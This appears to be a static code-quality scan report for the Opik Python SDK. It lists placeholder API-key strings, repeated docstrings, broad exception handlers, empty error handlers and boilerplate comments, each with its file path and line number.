HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py251 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py282 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py67 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py116 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py165 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py231 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py283 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…s/python/src/opik/rest_api/manual_evaluation/client.py335 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py97 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py157 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py229 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py271 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py309 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py349 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py389 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py461 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py550 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py600 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py626 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py705 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py749 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py790 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py823 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py861 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py900 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py936 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py963 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py990 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1037 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1074 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1119 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1156 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1195 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1267 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1320 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1356 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1386 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1445 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1519 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1570 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1614 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1670 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1730 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py1807 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
608 more matches not shown…
Cross-File Repetition244 hits · 1220 pts
SeverityFileLineSnippetContext
HIGH…ntegration/langchain/test_opik_langchain_chat_model.py0``generate_chat_completion`` returns a typed assistant ``conversationdict``.STRING
HIGH…ary_integration/anthropic/test_anthropic_chat_model.py0``generate_chat_completion`` returns a typed assistant ``conversationdict``.STRING
HIGH…library_integration/litellm/test_litellm_chat_model.py0``generate_chat_completion`` returns a typed assistant ``conversationdict``.STRING
HIGH…ntegration/langchain/test_opik_langchain_chat_model.py0async ``agenerate_chat_completion`` returns the same shape as the sync path.STRING
HIGH…ary_integration/anthropic/test_anthropic_chat_model.py0async ``agenerate_chat_completion`` returns the same shape as the sync path.STRING
HIGH…library_integration/litellm/test_litellm_chat_model.py0async ``agenerate_chat_completion`` returns the same shape as the sync path.STRING
HIGH…ests/e2e_library_integration/adk/sample_agent/agent.py0retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve STRING
HIGH…ibrary_integration/adk/sample_agent_anthropic/agent.py0retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve STRING
HIGH…e_library_integration/adk/sample_agent_openai/agent.py0retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve STRING
HIGH…/e2e_library_integration/adk/sample_agent_sse/agent.py0retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve STRING
HIGH…ests/e2e_library_integration/adk/sample_agent/agent.py0returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current tSTRING
HIGH…ibrary_integration/adk/sample_agent_anthropic/agent.py0returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current tSTRING
HIGH…e_library_integration/adk/sample_agent_openai/agent.py0returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current tSTRING
HIGH…/e2e_library_integration/adk/sample_agent_sse/agent.py0returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current tSTRING
HIGHsdks/python/tests/e2e/test_dataset.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGHsdks/python/tests/e2e/compatibility_v1/test_dataset.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGH…ibility_v1/evaluation/test_evaluate_dataset_version.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGH…ility_v1/evaluation/test_evaluate_scoring_functions.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGH…/tests/e2e/evaluation/test_evaluate_dataset_version.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGH…ests/e2e/evaluation/test_evaluate_scoring_functions.py0wait for dataset to have the expected version, fail if not reached.STRING
HIGH…ks/python/src/opik/llm_usage/openai_responses_usage.py0total number of tokens used in the request (prompt + completion).STRING
HIGH…on/src/opik/llm_usage/openai_chat_completions_usage.py0total number of tokens used in the request (prompt + completion).STRING
HIGHsdks/python/src/opik/llm_usage/mistral_usage.py0total number of tokens used in the request (prompt + completion).STRING
HIGH…evaluation/metrics/llm_judges/context_recall/metric.py0asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous veSTRING
HIGH…aluation/metrics/llm_judges/answer_relevance/metric.py0asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous veSTRING
HIGH…luation/metrics/llm_judges/context_precision/metric.py0asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous veSTRING
HIGHsdks/python/src/opik/evaluation/models/base_model.py0async counterpart of :meth:`generate_chat_completion`.STRING
HIGH…ik/evaluation/models/langchain/langchain_chat_model.py0async counterpart of :meth:`generate_chat_completion`.STRING
HIGH…c/opik/evaluation/models/litellm/litellm_chat_model.py0async counterpart of :meth:`generate_chat_completion`.STRING
HIGHsdks/python/src/opik/api_objects/prompt/base_prompt.py0legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lonSTRING
HIGH…python/src/opik/api_objects/prompt/chat/chat_prompt.py0legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lonSTRING
HIGHsdks/python/src/opik/api_objects/prompt/text/prompt.py0legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lonSTRING
HIGHsdks/python/src/opik/api_objects/prompt/base_prompt.py0the sequential version selector for the prompt (e.g. ``"v3"``).STRING
HIGH…python/src/opik/api_objects/prompt/chat/chat_prompt.py0the sequential version selector for the prompt (e.g. ``"v3"``).STRING
HIGHsdks/python/src/opik/api_objects/prompt/text/prompt.py0the sequential version selector for the prompt (e.g. ``"v3"``).STRING
HIGHsdks/python/src/opik/api_objects/prompt/base_prompt.py0the environments that currently own this prompt version, or ``none`` if unowned.STRING
HIGH…python/src/opik/api_objects/prompt/chat/chat_prompt.py0the environments that currently own this prompt version, or ``none`` if unowned.STRING
HIGHsdks/python/src/opik/api_objects/prompt/text/prompt.py0the environments that currently own this prompt version, or ``none`` if unowned.STRING
HIGHsdks/python/src/opik/api_objects/prompt/base_prompt.py0convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version iSTRING
HIGH…python/src/opik/api_objects/prompt/chat/chat_prompt.py0convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version iSTRING
HIGHsdks/python/src/opik/api_objects/prompt/text/prompt.py0convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version iSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py0delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific cSTRING
HIGHsdks/python/src/opik/rest_api/spans/client.py0delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific cSTRING
HIGHsdks/python/src/opik/rest_api/projects/client.py0delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific cSTRING
HIGHsdks/python/src/opik/rest_api/datasets/client.py0delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific cSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py0find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] STRING
HIGHsdks/python/src/opik/rest_api/spans/client.py0find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] STRING
HIGHsdks/python/src/opik/rest_api/experiments/client.py0find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] STRING
HIGHsdks/python/src/opik/rest_api/traces/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/spans/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/projects/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/datasets/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/dashboards/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/prompts/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGH…ython/src/opik/rest_api/feedback_definitions/client.py0delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] requesSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py0find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] STRING
HIGHsdks/python/src/opik/rest_api/spans/client.py0find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] STRING
HIGHsdks/python/src/opik/rest_api/experiments/client.py0find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] STRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py0delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific cSTRING
HIGHsdks/python/src/opik/rest_api/spans/raw_client.py0delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific cSTRING
184 more matches not shown…
Excessive Try-Catch Wrapping804 hits · 840 pts
SeverityFileLineSnippetContext
LOWsdks/python/design/API_AND_DATA_FLOW.md1362 except Exception as ex:CODE
LOWsdks/python/design/EVALUATION.md646 except Exception as e:CODE
LOWsdks/python/design/EVALUATION.md1095except Exception as e:CODE
LOWsdks/python/design/EVALUATION.md1130 except Exception as e:CODE
LOWsdks/python/design/EVALUATION.md1175except Exception as e:CODE
MEDIUMsdks/python/design/EVALUATION.md1127def score(self, **kwargs) -> ScoreResult:CODE
LOW⚡sdks/python/tests/conftest.py353 except Exception as e:CODE
LOW⚡sdks/python/tests/unit/runner/test_activate.py45 except Exception as e:CODE
MEDIUMsdks/python/tests/unit/runner/test_activate.py42def run():CODE
LOW…ython/tests/unit/api_objects/agent_config/test_base.py1642 except Exception:CODE
LOW…ython/tests/unit/api_objects/agent_config/test_base.py1671 except Exception:CODE
LOW…ython/tests/unit/api_objects/agent_config/test_base.py1752 except Exception:CODE
LOW…ython/tests/unit/api_objects/agent_config/test_base.py1810 except Exception:CODE
LOW…/tests/library_integration/langchain/test_langchain.py642 except Exception:CODE
LOW…ary_integration/adk/test_adk_context_cache_recovery.py102 except Exception as exc: # pragma: no cover - only on a real failureCODE
LOW⚡…s/library_integration/adk/test_llm_response_wrapper.py128 except Exception as opik_path_error:CODE
LOW⚡…s/library_integration/adk/test_llm_response_wrapper.py133 except Exception as adk_path_error:CODE
LOW…integration/metrics_with_llm_judge/agentic/conftest.py86 except Exception as exc: # noqa: BLE001 — propagate as skipCODE
LOW…ry_integration/pydantic_ai/test_pydantic_ai_logfire.py453 except Exception:CODE
LOWsdks/python/tests/e2e/verifiers.py1134 except Exception:CODE
MEDIUMsdks/python/tests/e2e/verifiers.py79def _attempt() -> bool:CODE
LOWsdks/python/tests/e2e/test_tracing.py127 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py199 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py285 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py315 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py481 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py699 except Exception:CODE
LOW…ks/python/tests/e2e/evaluation/test_evaluate_resume.py800 except Exception:CODE
LOWsdks/python/examples/resume_evaluation.py77 except Exception:CODE
LOW…s/python/examples/trajectory_accuracy_judge_example.py67 except Exception as e:CODE
LOW…s/python/examples/trajectory_accuracy_judge_example.py130 except Exception as e:CODE
LOW…s/python/examples/trajectory_accuracy_judge_example.py190 except Exception as e:CODE
LOWsdks/python/examples/trajectory_accuracy_evaluation.py183 except Exception as e:CODE
LOWsdks/python/src/opik/_logging.py76 except Exception:CODE
LOWsdks/python/src/opik/environment_details.py165 except Exception:CODE
LOWsdks/python/src/opik/synchronization.py44 except Exception:CODE
LOWsdks/python/src/opik/opik_context.py259 except Exception as exception:CODE
LOWsdks/python/src/opik/jsonable_encoder.py108 except Exception:CODE
LOWsdks/python/src/opik/environment.py33 except Exception:CODE
LOWsdks/python/src/opik/environment.py134 except Exception:CODE
LOWsdks/python/src/opik/environment.py151 except Exception:CODE
LOWsdks/python/src/opik/environment.py168 except Exception:CODE
MEDIUMsdks/python/src/opik/environment.py30def get_user() -> str:CODE
LOW⚡sdks/python/src/opik/tracing_runtime_config.py30 except Exception:CODE
LOWsdks/python/src/opik/file_upload/upload_manager.py49 except Exception as exception:CODE
LOWsdks/python/src/opik/file_upload/file_uploader.py41 except Exception as e:CODE
LOW…ik/file_upload/s3_multipart_upload/s3_file_uploader.py47 except Exception as e:CODE
LOWsdks/python/src/opik/error_tracking/before_send.py23 except Exception:CODE
LOWsdks/python/src/opik/error_tracking/before_send.py60 except Exception:CODE
LOW⚡…king/error_filtering/filter_by_response_status_code.py30 except Exception:CODE
LOW⚡…king/error_filtering/filter_by_response_status_code.py44 except Exception:CODE
LOW…rc/opik/error_tracking/error_filtering/filter_chain.py21 except Exception as e:CODE
LOWsdks/python/src/opik/llm_usage/opik_usage_factory.py38 except Exception as exc_info:CODE
LOWsdks/python/src/opik/llm_usage/opik_usage_factory.py64 except Exception:CODE
LOWsdks/python/src/opik/llm_usage/opik_usage_factory.py69 except Exception:CODE
LOWsdks/python/src/opik/llm_usage/opik_usage_factory.py90 except Exception:CODE
LOWsdks/python/src/opik/guardrails/guards/llm_judge.py107 except Exception as e:CODE
LOWsdks/python/src/opik/guardrails/guards/llm_judge.py176 except Exception:CODE
LOWsdks/python/src/opik/decorator/generator_wrappers.py186 except Exception as exception:CODE
LOWsdks/python/src/opik/decorator/generator_wrappers.py217 except Exception:CODE
744 more matches not shown…
Empty Error Handlers131 hits · 655 pts
SeverityFileLineSnippetContext
HIGHsdks/python/tests/unit/runner/test_bridge_handlers.py256except OSError:CODE
HIGH…hon/tests/unit/api_objects/test_opik_query_language.py1319except ValueError:CODE
HIGH…on/tests/unit/api_objects/agent_config/test_context.py33except ValueError:CODE
HIGH…ython/tests/unit/api_objects/agent_config/test_base.py1642except Exception:CODE
HIGH…ython/tests/unit/api_objects/agent_config/test_base.py1671except Exception:CODE
HIGH…ython/tests/unit/api_objects/agent_config/test_base.py1752except Exception:CODE
HIGH…ython/tests/unit/api_objects/agent_config/test_base.py1810except Exception:CODE
HIGH…hon/tests/unit/api_objects/prompt/test_mask_context.py45except ValueError:CODE
HIGH…/tests/library_integration/langchain/test_langchain.py642except Exception:CODE
HIGH…ry_integration/pydantic_ai/test_pydantic_ai_logfire.py453except Exception:CODE
HIGHsdks/python/tests/e2e/conftest.py99except rest_api_core.ApiError:CODE
HIGHsdks/python/tests/e2e/conftest.py114except rest_api_core.ApiError:CODE
HIGHsdks/python/tests/e2e/test_tracing.py127except Exception:CODE
HIGHsdks/python/tests/e2e/test_dashboard.py27except ApiError:CODE
HIGHsdks/python/tests/e2e/test_prompt.py1490except rest_api_core.ApiError:CODE
HIGHsdks/python/tests/e2e/test_cli_import_export.py780except SystemExit:CODE
HIGHsdks/python/tests/e2e/test_cli_import_export.py797except (FileNotFoundError, SystemExit):CODE
HIGHsdks/python/tests/e2e/runner/conftest.py82except rest_api_core.ApiError:CODE
HIGHsdks/python/tests/e2e/cli/conftest.py70except ApiError:CODE
HIGH…/cli/test_migrate_dataset_cross_project_cascade_e2e.py71except ApiError:CODE
HIGH…python/tests/e2e/evaluation/test_test_suite_agentic.py155except RuntimeError:CODE
HIGH…ks/python/tests/e2e/evaluation/test_evaluate_resume.py199except Exception:CODE
HIGH…ks/python/tests/e2e/evaluation/test_evaluate_resume.py285except Exception:CODE
HIGH…ks/python/tests/e2e/evaluation/test_evaluate_resume.py315except Exception:CODE
HIGH…ks/python/tests/e2e/evaluation/test_evaluate_resume.py481except Exception:CODE
HIGH…ks/python/tests/e2e/evaluation/test_evaluate_resume.py699except Exception:CODE
HIGH…ks/python/tests/e2e/evaluation/test_evaluate_resume.py800except Exception:CODE
HIGH…ks/python/tests/e2e/evaluation/test_evaluate_resume.py940except SystemExit:CODE
HIGH…ks/python/tests/e2e/evaluation/test_evaluate_resume.py1110except SystemExit:CODE
HIGHsdks/python/examples/resume_evaluation.py77except Exception:CODE
HIGHsdks/python/src/opik/environment_details.py165except Exception:CODE
HIGHsdks/python/src/opik/error_tracking/before_send.py60except Exception:CODE
HIGHsdks/python/src/opik/llm_usage/opik_usage_factory.py64except Exception:CODE
HIGHsdks/python/src/opik/guardrails/guards/llm_judge.py176except Exception:CODE
HIGHsdks/python/src/opik/runner/pid_file.py93except FileNotFoundError:CODE
HIGHsdks/python/src/opik/runner/pid_file.py83except OSError:CODE
HIGHsdks/python/src/opik/runner/pid_file.py168except OSError:CODE
HIGHsdks/python/src/opik/runner/supervisor.py281except (ValueError, OSError):CODE
HIGHsdks/python/src/opik/runner/supervisor.py410except (BrokenPipeError, OSError):CODE
HIGHsdks/python/src/opik/runner/supervisor.py315except OSError:CODE
HIGHsdks/python/src/opik/runner/supervisor.py366except OSError:CODE
HIGHsdks/python/src/opik/runner/log_streamer.py80except asyncio.CancelledError:CODE
HIGHsdks/python/src/opik/runner/log_streamer.py45except RuntimeError:CODE
HIGH…python/src/opik/runner/bridge_handlers/exec_command.py203except OSError:CODE
HIGH…python/src/opik/runner/bridge_handlers/exec_command.py258except OSError:CODE
HIGH…python/src/opik/runner/bridge_handlers/exec_command.py122except OSError:CODE
HIGH…python/src/opik/runner/bridge_handlers/exec_command.py126except subprocess.TimeoutExpired:CODE
HIGH…python/src/opik/runner/bridge_handlers/exec_command.py100except OSError:CODE
HIGH…s/python/src/opik/runner/bridge_handlers/list_files.py94except OSError:CODE
HIGH…pik/message_processing/replay/message_serialization.py33except ValueError:CODE
HIGHsdks/python/src/opik/cli/migration_manifest.py313except Exception:CODE
HIGHsdks/python/src/opik/cli/selector.py165except ImportError:CODE
HIGHsdks/python/src/opik/cli/export_manifest.py254except Exception:CODE
HIGHsdks/python/src/opik/cli/main.py22except metadata.PackageNotFoundError:CODE
HIGHsdks/python/src/opik/cli/imports/utils.py343except Exception:CODE
HIGHsdks/python/src/opik/cli/exports/all.py239except Exception:CODE
HIGHsdks/python/src/opik/cli/exports/all.py246except Exception:CODE
HIGHsdks/python/src/opik/cli/exports/project.py75except (ValueError, TypeError):CODE
HIGHsdks/python/src/opik/cli/exports/project.py82except (ValueError, TypeError):CODE
HIGHsdks/python/src/opik/cli/migrate/checkpoint.py262except FileNotFoundError:CODE
71 more matches not shown…
Self-Referential Comments180 hits · 558 pts
SeverityFileLineSnippetContext
MEDIUMsdks/python/tests/conftest.py118 # Create an upload manager firstCOMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1429 # Create the experiment JSON file the fast path will read from disk.COMMENT
MEDIUMsdks/python/tests/unit/test_config.py48 # Create a config parser to parse the written contentCOMMENT
MEDIUM⚡sdks/python/tests/unit/test_config.py71 # Create a config parser to parse the written contentCOMMENT
MEDIUM…ks/python/tests/unit/decorator/test_tracker_outputs.py2597 # Create a partial function (similar to the user's use case that was crashing)COMMENT
MEDIUM…ks/python/tests/unit/decorator/test_inspect_helpers.py23 # Create a partial functionCOMMENT
MEDIUM…xt_manager/test_distributed_headers_context_manager.py178 # Create a parent trace with a span to get valid IDsCOMMENT
MEDIUM…xt_manager/test_distributed_headers_context_manager.py206 # Create a parent trace to get a valid trace IDCOMMENT
MEDIUMsdks/python/tests/unit/runner/test_file_watcher.py38 # Create a subdir so watchfiles has something to watch without triggeringCOMMENT
MEDIUM…ks/python/tests/unit/simulation/test_simulated_user.py105 # Create a long conversation history (15 messages)COMMENT
MEDIUM…t/message_processing/test_streamer_with_attachments.py69 # Create a span message with potential attachment data but no end_timeCOMMENT
MEDIUM…t/message_processing/test_streamer_with_attachments.py110 # Create a trace message with potential attachment data but no end_timeCOMMENT
MEDIUM…/tests/unit/message_processing/test_encoder_helpers.py245 # Create an anonymizer that just adds a prefixCOMMENT
MEDIUM…tests/unit/message_processing/test_jsonable_encoder.py29 # Create a simple two-node cycle: A -> B -> ACOMMENT
MEDIUM…ng/processors/test_attachments_extraction_processor.py41 # Create a regular message (not wrapped)COMMENT
MEDIUM…ng/processors/test_attachments_extraction_processor.py75 # Create an original message with plain textCOMMENT
MEDIUM…ng/processors/test_attachments_extraction_processor.py119 # Create a span message with input containing base64COMMENT
MEDIUM…ests/unit/message_processing/replay/test_db_manager.py133 # Create a read-only connection that will fail on CREATE TABLECOMMENT
MEDIUMsdks/python/tests/unit/cli/test_import_experiment.py557 # Create a 4-level hierarchy: root -> child -> grandchild -> great-grandchildCOMMENT
MEDIUM…hon/tests/unit/anonymizer/test_recursive_anonymizer.py278 # Create a structure where strings at different depths can be testedCOMMENT
MEDIUM…hon/tests/unit/anonymizer/test_recursive_anonymizer.py511 # Create a structure that tests depth limiting with strings at different levelsCOMMENT
MEDIUMsdks/python/tests/unit/evaluation/test_evaluate.py1206 # Create a sampler that will reduce to 3 itemsCOMMENT
MEDIUMsdks/python/tests/unit/evaluation/test_evaluate.py1299 # Create a task span metric to force non-streaming modeCOMMENT
MEDIUMsdks/python/tests/unit/evaluation/test_evaluate.py1397 # Create a sampler that will further reduce to 3 itemsCOMMENT
MEDIUMsdks/python/tests/unit/evaluation/test_evaluate.py2687 # Create a real Experiment instance with mocked dependenciesCOMMENT
MEDIUM…lm_judges/conversation/user_frustration/test_metric.py196 # Create a new metric with include_reason=FalseCOMMENT
MEDIUM…lm_judges/conversation/user_frustration/test_metric.py218 # Create a new metric with include_reason=FalseCOMMENT
MEDIUM…s/conversation/conversational_coherence/test_metric.py198 # Create a new metric with include_reason=FalseCOMMENT
MEDIUM…s/conversation/conversational_coherence/test_metric.py221 # Create a new metric with include_reason=FalseCOMMENT
MEDIUM…ests/unit/evaluation/threads/test_evaluation_engine.py201 # Create an engine with multiple workersCOMMENT
MEDIUM…ests/unit/evaluation/threads/test_evaluation_engine.py220 # Create a mock resultCOMMENT
MEDIUM…ests/unit/evaluation/threads/test_evaluation_engine.py277 # Create a mock conversation threadCOMMENT
MEDIUM⚡…ests/unit/evaluation/threads/test_evaluation_engine.py385 # Create a mock threadCOMMENT
MEDIUM⚡…ests/unit/evaluation/threads/test_evaluation_engine.py388 # Create a mock conversation threadCOMMENT
MEDIUM⚡…ests/unit/evaluation/threads/test_evaluation_engine.py396 # Create a metric that raises an exceptionCOMMENT
MEDIUM…/tests/unit/api_objects/dataset/test_dataset_client.py188 # Create an updated version of the itemCOMMENT
MEDIUM…tests/library_integration/dspy/test_dspy_llm_router.py31 # Create an LM instance to test isinstance checkCOMMENT
MEDIUM…tests/library_integration/dspy/test_dspy_llm_router.py318 # Create a mock LM instance with history containing an actual provider and costCOMMENT
MEDIUM…tests/library_integration/dspy/test_dspy_llm_router.py364 # Create a mock LM instance where provider matches (direct API, not routed)COMMENT
MEDIUM…tests/library_integration/dspy/test_dspy_llm_router.py404 # Create a mock LM instance where response has no provider attributeCOMMENT
MEDIUM…tests/library_integration/dspy/test_dspy_llm_router.py503 # Create a mock LM instance where provider has different casingCOMMENT
MEDIUM…python/tests/library_integration/harbor/test_harbor.py211 # Create an event to pause execution so we can check trace name during executionCOMMENT
MEDIUM…/tests/library_integration/langchain/test_langchain.py711 # Create a chain: tool -> prompt -> llmCOMMENT
MEDIUM…hon/tests/library_integration/bedrock/test_converse.py343 # Define a simple weather toolCOMMENT
MEDIUM…python/tests/library_integration/adk/test_adk_async.py291 # Create a summary agent that will combine the parallel resultsCOMMENT
MEDIUM…python/tests/library_integration/adk/test_adk_async.py313 # Create a sequential agent that first runs parallel agents, then summarizesSTRING
